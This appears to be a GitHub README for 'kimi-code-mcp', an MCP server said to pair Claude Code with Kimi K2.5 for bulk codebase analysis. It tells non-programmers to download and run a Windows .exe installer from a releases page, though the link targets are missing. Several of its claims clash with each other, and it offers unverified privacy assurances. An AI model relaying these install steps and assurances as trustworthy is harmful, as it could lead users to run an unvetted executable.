kimi-code-mcp is a tool designed to help analyze large codebases efficiently. It works with Claude Code and Kimi K2.5, using a method called the Model Context Protocol (MCP) to handle code analysis in smart ways. By using session caching and parallel processing, it saves you time and reduces costs when working with code.
You don't need to know about coding languages to run this tool. It is built to run on your Windows computer and make heavy code analysis easier to manage.
Before you start, make sure your computer meets these minimum requirements:
- Windows 10 or newer (64-bit recommended)
- At least 8 GB of RAM
- Around 200 MB of free disk space for installation
- Stable internet connection for initial setup and server communication
- Basic familiarity with downloading and opening files
Follow these steps to download and run kimi-code-mcp on your Windows PC.
Click the big blue button above or here to visit the download page:
This link will take you to the GitHub page where you can get the latest version of the software. Look for the "Releases" section to find the newest files.
Once on the download page:
- Scroll to the "Releases" area on the right or middle of the page.
- Look for the most recent release marked with a version number (e.g. v1.0.0).
- In the release, look for a file with a
.exeextension (this is the installer for Windows). - Click the
.exefile to start downloading it.
After downloading:
- Open your Downloads folder.
- Double-click the
.exefile to launch the installer. - Follow the instructions on the screen to install kimi-code-mcp on your computer.
The installer will guide you through setting up the application step-by-step.
When the installation finishes:
- Find the kimi-code-mcp app icon on your desktop or in the Start menu.
- Double-click to open it.
The app will start a local MCP server and prepare to work on code analysis.
kimi-code-mcp operates as a server on your PC. It uses the following features:
- Bulk codebase analysis: The tool examines large sets of code at once.
- Session caching: It remembers previous work so you don’t repeat the same analysis.
- Parallel agents: Runs multiple analysis tasks at the same time.
- Supports TypeScript: Best for code written in TypeScript, but can work with similar languages.
- Claude Code × Kimi K2.5: Connects powerful AI models to handle your requests.
This setup helps lower the cost and time needed for big code projects.
You don’t need to write commands or scripts. The app includes a simple interface to start your analysis:
- Open the app as described above.
- Use the "New Session" button to create a fresh analysis job.
- Choose the code folder you want to analyze from your computer.
- Click "Start" and watch the progress.
The tool will take care of the complicated steps behind the scenes.
kimi-code-mcp expects your code files to be stored on your PC in normal folders. To prepare your code for analysis:
- Make sure the code is saved somewhere on your local drive.
- The software works best with projects that have a
package.jsonfile or are standard TypeScript projects. - You can analyze any folder of code by selecting it when prompted.
- Keep your code files organized in clear folders.
- Avoid including very large binary files or unrelated files in the code folder.
- Close other applications if your PC starts slowing down during analysis.
- Regularly update kimi-code-mcp by checking the GitHub release page for new versions.
If you run into problems:
- Check that your Windows version is up to date.
- Make sure you installed the application fully and restarted your computer if needed.
- Close the app and open it again to retry tasks.
- Visit the GitHub page for FAQs or known issues under the "Issues" tab.
- Ensure your internet connection is working during setup.
To update to the latest version:
- Go back to the GitHub download page:
kimi-code-mcp Download - Download the newest
.exeinstaller. - Run the installer to overwrite the old version.
- Your settings and cached data will remain intact.
kimi-code-mcp runs on your local computer, so your code and work stay private. It connects to online AI models only as needed to analyze code. No code is stored or sent to third parties besides what is needed for analysis.
kimi-code-mcp integrates advanced AI tools like Claude Code and Kimi K2.5 to help developers and analysts handle large-scale code efficiently. It uses TypeScript and the Model Context Protocol to reduce costs and speed up workflows.
- ai-agent
- ai-coding-assistant
- claude-code
- code-analysis
- developer-tools
- kimi
- kimi-code
- kimi-k2
- llm
- mcp
- mcp-server
- model-context-protocol
- moonshot-ai
- typescript
